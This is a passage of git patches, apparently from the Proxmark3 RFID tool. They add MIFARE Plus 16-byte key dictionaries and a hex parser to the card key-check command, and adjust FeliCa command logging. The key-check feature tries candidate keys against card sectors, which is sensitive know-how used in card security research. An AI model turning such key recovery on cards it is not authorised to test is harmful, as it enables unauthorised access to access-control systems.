client/fileutils.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/client/fileutils.c b/client/fileutils.c index 092e0fb66..1d3af28da 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -753,9 +753,10 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u // t5577 == 4bytes // mifare == 6 bytes + // mf plus == 16 bytes // iclass == 8 bytes // default to 6 bytes. - if (keylen != 4 && keylen != 6 && keylen != 8) { + if (keylen != 4 && keylen != 6 && keylen != 8 && keylen != 16) { keylen = 6; } @@ -820,9 +821,10 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key // t5577 == 4bytes // mifare == 6 bytes + // mf plus == 16 bytes // iclass == 8 bytes // default to 6 bytes. - if (keylen != 4 && keylen != 6 && keylen != 8) { + if (keylen != 4 && keylen != 6 && keylen != 8 && keylen != 16) { keylen = 6; } From a6a16cfd0ce62994f20e393ce088302aca3633d9 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 00:36:28 +0200 Subject: [PATCH 040/418] add dictionary search check hex --- client/fileutils.c | 25 +++++++++++++++++++------ 1 file changed, 19 insertions(+), 6 deletions(-) diff --git a/client/fileutils.c b/client/fileutils.c index 1d3af28da..83f3635a4 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -789,10 +789,17 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u if (line[0] == '#') continue; - if (!isxdigit(line[0])) { - PrintAndLogEx(FAILED, "file content error. '%s' must include " _BLUE_("%2d") "HEX symbols", line, keylen); - continue; + bool searchFail = false; + for (int i = 0; i < keylen; i++) { + if (!isxdigit(line[i])) { + PrintAndLogEx(FAILED, "file content error (pos %d). '%s' must include " _BLUE_("%2d") "HEX symbols", i + 1, line, keylen); + searchFail = true; + break; + } } + if (searchFail) + continue; + uint64_t key = strtoull(line, NULL, 16); @@ -880,10 +887,16 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key if (line[0] == '#') continue; - if (!isxdigit(line[0])) { - PrintAndLogEx(FAILED, "file content error. '%s' must include " _BLUE_("%2d") "HEX symbols", line, keylen); - continue; + bool searchFail = false; + for (int i = 0; i < keylen; i++) { + if (!isxdigit(line[i])) { + PrintAndLogEx(FAILED, "file content error (pos %d). '%s' must include " _BLUE_("%2d") "HEX symbols", i + 1, line, keylen); + searchFail = true; + break; + } } + if (searchFail) + continue; uint64_t key = strtoull(line, NULL, 16); From e88f4e4cd861fe30b06db994798d9cef8842824a Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 01:22:05 +0200 Subject: [PATCH 041/418] added hex_to_bytes --- client/util.c | 41 +++++++++++++++++++++++++++++++++++++++++ client/util.h | 1 + 2 files changed, 42 insertions(+) diff --git a/client/util.c b/client/util.c index 58dce8eca..c65f281fe 100644 --- a/client/util.c +++ b/client/util.c @@ -394,6 +394,47 @@ void print_blocks(uint32_t *data, size_t len) { } } +int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValueLen) { + char buf[3]; + int indx = 0; + int bytesValueLen = 0; + while (hexValue[indx]) { + if (hexValue[indx] == '\t' || hexValue[indx] == ' ') { + indx++; + continue; + } + + if (isxdigit(hexValue[indx])) { + buf[strlen(buf) + 1] = 0x00; + buf[strlen(buf)] = hexValue[indx]; + } else { + // if we have symbols other than spaces and hex + return -1; + } + + if (maxBytesValueLen && bytesValueLen >= maxBytesValueLen) { + // if we dont have space in buffer and have symbols to translate + return -2; + } + + if (strlen(buf) >= 2) { + uint32_t temp = 0; + sscanf(buf, "%x", &temp); + bytesValue[bytesValueLen] = (uint8_t)(temp & 0xff); + buf[0] = 0; + bytesValueLen++; + } + + indx++; + } + + if (strlen(buf) > 0) + //error when not completed hex bytes + return -3; + + return bytesValueLen; +} + // takes a number (uint64_t) and creates a binarray in dest. void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest) { while (len--) { diff --git a/client/util.h b/client/util.h index d549458c4..afa12811b 100644 --- a/client/util.h +++ b/client/util.h @@ -55,6 +55,7 @@ char *sprint_ascii_ex(const uint8_t *data, const size_t len, const size_t min_st void print_blocks(uint32_t *data, size_t len); +int hex_to_bytes(const char *hexValue, uint8_t *bytesValue, size_t maxBytesValueLen); void num_to_bytebits(uint64_t n, size_t len, uint8_t *dest); void num_to_bytebitsLSBF(uint64_t n, size_t len, uint8_t *dest); uint8_t *SwapEndian64(const uint8_t *src, const size_t len, const uint8_t blockSize); From 1daf155b9c7618987178d2194bc9c46e29c440fc Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 10:45:02 +0200 Subject: [PATCH 042/418] added dictionary --- client/cmdhfmfp.c | 29 +++++++++++++++------ client/fileutils.c | 65 +++++++++++++++++++++++++--------------------- client/fileutils.h | 18 ++++++++++++- 3 files changed, 73 insertions(+), 39 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index 6a7a7e411..f185d4456 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -723,6 +723,7 @@ void Fill2bPattern(uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t *keyL static int CmdHFMFPChk(const char *cmd) { int res; + FILE *dictionary_file = NULL; uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {0}; size_t keyListLen = 0; uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {0}; @@ -775,23 +776,20 @@ static int CmdHFMFPChk(const char *cmd) { return PM3_EINVARG; } -/* char *dict_path; - int res = searchFile(&dict_path, DICTIONARIES_SUBDIR, filename, ".dic", false); + char *dict_path; + res = searchFile(&dict_path, DICTIONARIES_SUBDIR, (char *)dict_filename, ".dic", false); if (res != PM3_SUCCESS) { CLIParserFree(); return PM3_EFILE; } - f = fopen(dict_path, "r"); - if (!f) { + dictionary_file = fopen(dict_path, "r"); + if (!dictionary_file) { PrintAndLogEx(FAILED, "File: " _YELLOW_("%s") ": not found or locked.", dict_path); free(dict_path); CLIParserFree(); return PM3_EFILE; } - free(dict_path); - - - */ + free(dict_path); bool pattern1b = arg_get_lit(7); bool pattern2b = arg_get_lit(8); @@ -801,6 +799,12 @@ static int CmdHFMFPChk(const char *cmd) { CLIParserFree(); return PM3_EINVARG; } + + if (dictionary_file && (pattern1b || pattern2b)) { + PrintAndLogEx(ERROR, "Pattern search mode and dictionary mode can't be used in one command."); + CLIParserFree(); + return PM3_EINVARG; + } uint32_t startPattern = 0x0000; uint8_t vpattern[2]; @@ -839,6 +843,7 @@ static int CmdHFMFPChk(const char *cmd) { if (endSector < startSector) endSector = startSector; + // 1-byte pattern search mode if (pattern1b) { for (int i = 0; i < 0x100; i++) memset(keyList[i], i, 16); @@ -846,8 +851,16 @@ static int CmdHFMFPChk(const char *cmd) { keyListLen = 0x100; } + // 2-byte pattern search mode if (pattern2b) Fill2bPattern(keyList, &keyListLen, &startPattern); + + // dictionary mode + if (dictionary_file) { + size_t endFilePosition = 0; + res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), &keyListLen, 16, NULL, 0, &endFilePosition); + printf("---endFilePosition %d", endFilePosition); + } if (keyListLen == 0) { for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { diff --git a/client/fileutils.c b/client/fileutils.c index 83f3635a4..a69de8d96 100644 --- a/client/fileutils.c +++ b/client/fileutils.c @@ -745,12 +745,6 @@ out: } int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, uint8_t keylen, uint16_t *keycnt) { - - if (data == NULL) return PM3_EINVARG; - char *path; - if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) - return PM3_EFILE; - // t5577 == 4bytes // mifare == 6 bytes // mf plus == 16 bytes @@ -759,6 +753,20 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u if (keylen != 4 && keylen != 6 && keylen != 8 && keylen != 16) { keylen = 6; } + + return loadFileDICTIONARYEx(preferredName, data, 0, datalen, keylen, keycnt, 0, NULL); +} + +int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, + size_t startFilePosition, size_t *endFilePosition) { + if (endFilePosition) + *endFilePosition = 0; + if (data == NULL) return PM3_EINVARG; + uint16_t vkeycnt = 0; + + char *path; + if (searchFile(&path, DICTIONARIES_SUBDIR, preferredName, ".dic", false) != PM3_SUCCESS) + return PM3_EFILE; // double up since its chars keylen <<= 1; @@ -774,7 +782,10 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u retval = PM3_EFILE; goto out; } - + + if (startFilePosition) + fseek(f, startFilePosition, SEEK_SET); + // read file while (fgets(line, sizeof(line), f)) { @@ -789,30 +800,32 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u if (line[0] == '#') continue; - bool searchFail = false; - for (int i = 0; i < keylen; i++) { - if (!isxdigit(line[i])) { - PrintAndLogEx(FAILED, "file content error (pos %d). '%s' must include " _BLUE_("%2d") "HEX symbols", i + 1, line, keylen); - searchFail = true; - break; - } - } - if (searchFail) + if (CheckStringIsHEXValue(line)) continue; + // cant store more data + if (maxdatalen && (counter + keylen > maxdatalen)) { + retval = 1; + int pos = ftell(f) - strlen(line) - 2; // 2 - `\r\n` + if (endFilePosition && (pos > 0)) + *endFilePosition = pos; + break; + } - uint64_t key = strtoull(line, NULL, 16); - - num_to_bytes(key, keylen >> 1, data + counter); - (*keycnt)++; + if (hex_to_bytes(line, data + counter, keylen >> 1) != (keylen >> 1)) + continue; + + vkeycnt++; memset(line, 0, sizeof(line)); counter += (keylen >> 1); } fclose(f); - PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%2d") "keys from dictionary file " _YELLOW_("%s"), *keycnt, path); + PrintAndLogEx(SUCCESS, "loaded " _GREEN_("%2d") "keys from dictionary file " _YELLOW_("%s"), vkeycnt, path); if (datalen) *datalen = counter; + if (keycnt) + *keycnt = vkeycnt; out: free(path); return retval; @@ -887,15 +900,7 @@ int loadFileDICTIONARY_safe(const char *preferredName, void **pdata, uint8_t key if (line[0] == '#') continue; - bool searchFail = false; - for (int i = 0; i < keylen; i++) { - if (!isxdigit(line[i])) { - PrintAndLogEx(FAILED, "file content error (pos %d). '%s' must include " _BLUE_("%2d") "HEX symbols", i + 1, line, keylen); - searchFail = true; - break; - } - } - if (searchFail) + if (CheckStringIsHEXValue(line)) continue; uint64_t key = strtoull(line, NULL, 16); diff --git a/client/fileutils.h b/client/fileutils.h index bfd418a2c..58d05d366 100644 --- a/client/fileutils.h +++ b/client/fileutils.h @@ -176,13 +176,29 @@ int loadFileJSON(const char *preferredName, void *data, size_t maxdatalen, size_ * * @param preferredName * @param data The data array to store the loaded bytes from file - * @param maxdatalen maximum size of data array in bytes * @param datalen the number of bytes loaded from file * @param keylen the number of bytes a key per row is * @return 0 for ok, 1 for failz */ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, uint8_t keylen, uint16_t *keycnt); +/** + * @brief Utility function to load data from a DICTIONARY textfile. This method takes a preferred name. + * E.g. mfc_default_keys.dic + * can be executed several times for big dictionaries and checks length of buffer + * + * @param preferredName + * @param data The data array to store the loaded bytes from file + * @param maxdatalen maximum size of data array in bytes + * @param datalen the number of bytes loaded from file + * @param keylen the number of bytes a key per row is + * @param startFilePosition + * @param endFilePosition + * @return 0 for ok, 1 for failz +*/ +int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, + size_t startFilePosition, size_t *endFilePosition); + /** * @brief Utility function to load data safely from a DICTIONARY textfile. This method takes a preferred name. * E.g. mfc_default_keys.dic From ca462424d0773ef0c3551ab0461b03cdc5d41b2b Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 10:56:41 +0200 Subject: [PATCH 043/418] refactoring --- client/cmdhfmfp.c | 25 +++---------------------- 1 file changed, 3 insertions(+), 22 deletions(-) diff --git a/client/cmdhfmfp.c b/client/cmdhfmfp.c index f185d4456..80419fa40 100644 --- a/client/cmdhfmfp.c +++ b/client/cmdhfmfp.c @@ -723,7 +723,6 @@ void Fill2bPattern(uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN], size_t *keyL static int CmdHFMFPChk(const char *cmd) { int res; - FILE *dictionary_file = NULL; uint8_t keyList[MAX_KEYS_LIST_LEN][AES_KEY_LEN] = {0}; size_t keyListLen = 0; uint8_t foundKeys[2][64][AES_KEY_LEN + 1] = {0}; @@ -775,21 +774,6 @@ static int CmdHFMFPChk(const char *cmd) { CLIParserFree(); return PM3_EINVARG; } - - char *dict_path; - res = searchFile(&dict_path, DICTIONARIES_SUBDIR, (char *)dict_filename, ".dic", false); - if (res != PM3_SUCCESS) { - CLIParserFree(); - return PM3_EFILE; - } - dictionary_file = fopen(dict_path, "r"); - if (!dictionary_file) { - PrintAndLogEx(FAILED, "File: " _YELLOW_("%s") ": not found or locked.", dict_path); - free(dict_path); - CLIParserFree(); - return PM3_EFILE; - } - free(dict_path); bool pattern1b = arg_get_lit(7); bool pattern2b = arg_get_lit(8); @@ -800,7 +784,7 @@ static int CmdHFMFPChk(const char *cmd) { return PM3_EINVARG; } - if (dictionary_file && (pattern1b || pattern2b)) { + if (dict_filenamelen && (pattern1b || pattern2b)) { PrintAndLogEx(ERROR, "Pattern search mode and dictionary mode can't be used in one command."); CLIParserFree(); return PM3_EINVARG; @@ -856,7 +840,7 @@ static int CmdHFMFPChk(const char *cmd) { Fill2bPattern(keyList, &keyListLen, &startPattern); // dictionary mode - if (dictionary_file) { + if (dict_filenamelen) { size_t endFilePosition = 0; res = loadFileDICTIONARYEx((char *)dict_filename, keyList, sizeof(keyList), &keyListLen, 16, NULL, 0, &endFilePosition); printf("---endFilePosition %d", endFilePosition); @@ -864,10 +848,7 @@ static int CmdHFMFPChk(const char *cmd) { if (keyListLen == 0) { for (int i = 0; i < g_mifare_plus_default_keys_len; i++) { - int datalen = 0; - if (param_gethex_to_eol(g_mifare_plus_default_keys[i], 0, keyList[keyListLen], 16, &datalen) > 0) - break; - if (datalen != 16) + if (hex_to_bytes(g_mifare_plus_default_keys[i], keyList[keyListLen], 16) != 16) break; keyListLen++; From 131730e7dbdc5adfba4bf1ae78e90b47509156e1 Mon Sep 17 00:00:00 2001 From: merlokk <807634+merlokk@users.noreply.github.com> Date: Sun, 1 Dec 2019 11:01:56 +0200 Subject: [PATCH 044/418] fix docstrings --- client/fileutils.h | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/client/fileutils.h b/client/fileutils.h index 58d05d366..612c9fee6 100644 --- a/client/fileutils.h +++ b/client/fileutils.h @@ -176,8 +176,9 @@ int loadFileJSON(const char *preferredName, void *data, size_t maxdatalen, size_ * * @param preferredName * @param data The data array to store the loaded bytes from file - * @param datalen the number of bytes loaded from file + * @param datalen the number of bytes loaded from file. may be NULL * @param keylen the number of bytes a key per row is + * @param keycnt key count that lays in data. may be NULL * @return 0 for ok, 1 for failz */ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, uint8_t keylen, uint16_t *keycnt); @@ -190,10 +191,11 @@ int loadFileDICTIONARY(const char *preferredName, void *data, size_t *datalen, u * @param preferredName * @param data The data array to store the loaded bytes from file * @param maxdatalen maximum size of data array in bytes - * @param datalen the number of bytes loaded from file + * @param datalen the number of bytes loaded from file. may be NULL * @param keylen the number of bytes a key per row is - * @param startFilePosition - * @param endFilePosition + * @param keycnt key count that lays in data. may be NULL + * @param startFilePosition start position in dictionary file. used for big dictionaries. + * @param endFilePosition in case we have keys in file and maxdatalen reached it returns current key position in file. may be NULL * @return 0 for ok, 1 for failz */ int loadFileDICTIONARYEx(const char *preferredName, void *data, size_t maxdatalen, size_t *datalen, uint8_t keylen, uint16_t *keycnt, From fef245be262e8646bb374772014f5ad37ada1bed Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Sun, 1 Dec 2019 11:32:49 +0100 Subject: [PATCH 045/418] textual --- client/cmdhffelica.c | 132 ++++++++++++++++++++----------------------- 1 file changed, 61 insertions(+), 71 deletions(-) diff --git a/client/cmdhffelica.c b/client/cmdhffelica.c index fe11d4c60..eb11dddc6 100644 --- a/client/cmdhffelica.c +++ b/client/cmdhffelica.c @@ -291,12 +291,12 @@ static bool waitCmdFelica(uint8_t iSelect, PacketResponseNG *resp, bool verbose) if (WaitForResponseTimeout(CMD_ACK, resp, 2000)) { uint16_t len = iSelect ? (resp->oldarg[1] & 0xffff) : (resp->oldarg[0] & 0xffff); if (verbose) { - PrintAndLogEx(NORMAL, "Client Received %i octets", len); + PrintAndLogEx(SUCCESS, "Client Received %i octets", len); if (!len || len < 2) { PrintAndLogEx(ERR, "Could not receive data correctly!"); return false; } - PrintAndLogEx(NORMAL, "%s", sprint_hex(resp->data.asBytes, len)); + PrintAndLogEx(SUCCESS, "%s", sprint_hex(resp->data.asBytes, len)); if (!check_crc(CRC_FELICA, resp->data.asBytes + 2, len - 2)) { PrintAndLogEx(WARNING, "Wrong or no CRC bytes"); } @@ -371,7 +371,7 @@ static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *dat uint16_t numbits = 0; clearCommandBuffer(); if (verbose) { - PrintAndLogEx(NORMAL, "Send Service Request Frame: %s", sprint_hex(data, datalen)); + PrintAndLogEx(INFO, "Send Service Request Frame: %s", sprint_hex(data, datalen)); } SendCommandMIX(CMD_HF_FELICA_COMMAND, flags, (datalen & 0xFFFF) | (uint32_t)(numbits << 16), 0, data, datalen); } @@ -409,11 +409,11 @@ static void print_rd_noEncrpytion_response(felica_read_without_encryption_respon char bl_element_number[4]; temp = sprint_hex(rd_noCry_resp->block_element_number, sizeof(rd_noCry_resp->block_element_number)); strcpy(bl_element_number, temp); - PrintAndLogEx(NORMAL, "\t%s\t| %s ", bl_element_number, bl_data); + PrintAndLogEx(INFO, "\t%s\t| %s ", bl_element_number, bl_data); } else { - PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rd_noCry_resp->frame_response.IDm, sizeof(rd_noCry_resp->frame_response.IDm))); - PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); - PrintAndLogEx(NORMAL, "Status Flag2: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rd_noCry_resp->frame_response.IDm, sizeof(rd_noCry_resp->frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s", sprint_hex(rd_noCry_resp->status_flags.status_flag1, sizeof(rd_noCry_resp->status_flags.status_flag1))); } } @@ -425,7 +425,7 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve PacketResponseNG resp; if (datalen > 0) { if (!waitCmdFelica(0, &resp, 1)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } felica_request_service_response_t rqs_response; @@ -433,9 +433,9 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve if (rqs_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Service Response:"); - PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rqs_response.frame_response.IDm, sizeof(rqs_response.frame_response.IDm))); - PrintAndLogEx(NORMAL, " -Node Number: %s", sprint_hex(rqs_response.node_number, sizeof(rqs_response.node_number))); - PrintAndLogEx(NORMAL, " -Node Key Version List: %s\n", sprint_hex(rqs_response.node_key_versions, sizeof(rqs_response.node_key_versions))); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rqs_response.frame_response.IDm, sizeof(rqs_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, " -Node Number: %s", sprint_hex(rqs_response.node_number, sizeof(rqs_response.node_number))); + PrintAndLogEx(SUCCESS, " -Node Key Version List: %s\n", sprint_hex(rqs_response.node_key_versions, sizeof(rqs_response.node_key_versions))); } return PM3_SUCCESS; } @@ -455,7 +455,7 @@ int send_rd_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver clear_and_send_command(flags, datalen, data, verbose); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, verbose)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { memcpy(rd_noCry_resp, (felica_read_without_encryption_response_t *)resp.data.asBytes, sizeof(felica_read_without_encryption_response_t)); @@ -493,7 +493,7 @@ int send_wr_unencrypted(uint8_t flags, uint16_t datalen, uint8_t *data, bool ver clear_and_send_command(flags, datalen, data, verbose); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, verbose)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { memcpy(wr_noCry_resp, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t)); @@ -518,8 +518,7 @@ static int CmdHFFelicaWriteWithoutEncryption(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_write_without_encryption(); case 'i': @@ -558,9 +557,9 @@ static int CmdHFFelicaWriteWithoutEncryption(const char *Cmd) { datalen += 2; felica_status_response_t wr_noCry_resp; if (send_wr_unencrypted(flags, datalen, data, 1, &wr_noCry_resp) == PM3_SUCCESS) { - PrintAndLogEx(NORMAL, "\nIDm: %s", sprint_hex(wr_noCry_resp.frame_response.IDm, sizeof(wr_noCry_resp.frame_response.IDm))); - PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(wr_noCry_resp.status_flags.status_flag1, sizeof(wr_noCry_resp.status_flags.status_flag1))); - PrintAndLogEx(NORMAL, "Status Flag2: %s\n", sprint_hex(wr_noCry_resp.status_flags.status_flag2, sizeof(wr_noCry_resp.status_flags.status_flag2))); + PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(wr_noCry_resp.frame_response.IDm, sizeof(wr_noCry_resp.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(wr_noCry_resp.status_flags.status_flag1, sizeof(wr_noCry_resp.status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s\n", sprint_hex(wr_noCry_resp.status_flags.status_flag2, sizeof(wr_noCry_resp.status_flags.status_flag2))); if (wr_noCry_resp.status_flags.status_flag1[0] == 0x00 && wr_noCry_resp.status_flags.status_flag2[0] == 0x00) { PrintAndLogEx(SUCCESS, "Writing data successful!\n"); } else { @@ -589,8 +588,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_read_without_encryption(); case 'i': @@ -643,7 +641,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { if (long_block_numbers) { last_block_number = 0xFFFF; } - PrintAndLogEx(NORMAL, "Block Element\t| Data "); + PrintAndLogEx(INFO, "Block Element\t| Data "); for (int i = 0x00; i < last_block_number; i++) { data[15] = i; AddCrc(data, datalen); @@ -665,7 +663,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { datalen += 2; felica_read_without_encryption_response_t rd_noCry_resp; if (send_rd_unencrypted(flags, datalen, data, 1, &rd_noCry_resp) == PM3_SUCCESS) { - PrintAndLogEx(NORMAL, "Block Element\t| Data "); + PrintAndLogEx(INFO, "Block Element\t| Data "); print_rd_noEncrpytion_response(&rd_noCry_resp); } } @@ -687,8 +685,7 @@ static int CmdHFFelicaRequestResponse(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_request_response(); case 'i': @@ -718,15 +715,15 @@ static int CmdHFFelicaRequestResponse(const char *Cmd) { clear_and_send_command(flags, datalen, data, 0); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, 1)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { felica_request_request_response_t rq_response; memcpy(&rq_response, (felica_request_request_response_t *)resp.data.asBytes, sizeof(felica_request_request_response_t)); if (rq_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); - PrintAndLogEx(NORMAL, "IDm: %s", sprint_hex(rq_response.frame_response.IDm, sizeof(rq_response.frame_response.IDm))); - PrintAndLogEx(NORMAL, " -Mode: %s\n\n", sprint_hex(rq_response.mode, sizeof(rq_response.mode))); + PrintAndLogEx(SUCCESS, "IDm: %s", sprint_hex(rq_response.frame_response.IDm, sizeof(rq_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, " -Mode: %s\n\n", sprint_hex(rq_response.mode, sizeof(rq_response.mode))); } } return PM3_SUCCESS; @@ -749,8 +746,7 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_request_specification_version(); case 'i': @@ -793,24 +789,24 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { clear_and_send_command(flags, datalen, data, 0); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, 1)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { felica_request_spec_response_t spec_response; memcpy(&spec_response, (felica_request_spec_response_t *)resp.data.asBytes, sizeof(felica_request_spec_response_t)); if (spec_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); - PrintAndLogEx(NORMAL, "\nIDm: %s", sprint_hex(spec_response.frame_response.IDm, sizeof(spec_response.frame_response.IDm))); - PrintAndLogEx(NORMAL, "Status Flag1: %s", sprint_hex(spec_response.status_flags.status_flag1, sizeof(spec_response.status_flags.status_flag1))); - PrintAndLogEx(NORMAL, "Status Flag2: %s", sprint_hex(spec_response.status_flags.status_flag2, sizeof(spec_response.status_flags.status_flag2))); + PrintAndLogEx(SUCCESS, "\nIDm: %s", sprint_hex(spec_response.frame_response.IDm, sizeof(spec_response.frame_response.IDm))); + PrintAndLogEx(SUCCESS, "Status Flag1: %s", sprint_hex(spec_response.status_flags.status_flag1, sizeof(spec_response.status_flags.status_flag1))); + PrintAndLogEx(SUCCESS, "Status Flag2: %s", sprint_hex(spec_response.status_flags.status_flag2, sizeof(spec_response.status_flags.status_flag2))); if (spec_response.status_flags.status_flag1[0] == 0x00) { - PrintAndLogEx(NORMAL, "Format Version: %s", sprint_hex(spec_response.format_version, sizeof(spec_response.format_version))); - PrintAndLogEx(NORMAL, "Basic Version: %s", sprint_hex(spec_response.basic_version, sizeof(spec_response.basic_version))); - PrintAndLogEx(NORMAL, "Number of Option: %s", sprint_hex(spec_response.number_of_option, sizeof(spec_response.number_of_option))); + PrintAndLogEx(SUCCESS, "Format Version: %s", sprint_hex(spec_response.format_version, sizeof(spec_response.format_version))); + PrintAndLogEx(SUCCESS, "Basic Version: %s", sprint_hex(spec_response.basic_version, sizeof(spec_response.basic_version))); + PrintAndLogEx(SUCCESS, "Number of Option: %s", sprint_hex(spec_response.number_of_option, sizeof(spec_response.number_of_option))); if (spec_response.number_of_option[0] == 0x01) { - PrintAndLogEx(NORMAL, "Option Version List:"); + PrintAndLogEx(SUCCESS, "Option Version List:"); for (uint8_t i = 0; i < spec_response.number_of_option[0]; i++) { - PrintAndLogEx(NORMAL, " - %s", sprint_hex(spec_response.option_version_list + i * 2, sizeof(uint8_t) * 2)); + PrintAndLogEx(SUCCESS, " - %s", sprint_hex(spec_response.option_version_list + i * 2, sizeof(uint8_t) * 2)); } } } @@ -836,8 +832,7 @@ static int CmdHFFelicaResetMode(const char *Cmd) { int i = 0; while (Cmd[i] != '\0') { if (Cmd[i] == '-') { - switch (Cmd[i + 1]) { - case 'H': + switch (tolower(Cmd[i + 1])) { case 'h': return usage_hf_felica_reset_mode(); case 'i': @@ -880,16 +875,16 @@ static int CmdHFFelicaResetMode(const char *Cmd) { clear_and_send_command(flags, datalen, data, 0); PacketResponseNG resp; if (!waitCmdFelica(0, &resp, 1)) { - PrintAndLogEx(ERR, "\nGot no Response from card"); + PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } else { felica_status_response_t reset_mode_response; memcpy(&reset_mode_response, (felica_status_response_t *)resp.data.asBytes, sizeof(felica_status_response_t)); if (reset_mode_response.frame_response.IDm[0] != 0) { PrintAndLogEx(SUCCESS, "\nGot Request Response:"); - PrintAndLogEx(NORMAL, "\nIDm: %s", sprint_hex(reset_mode_response.frame_response.IDm, sizeof(reset_mode_response.frame_response.IDm))); - PrintAndLogEx(NORMAL, "Status Flag1: %s", 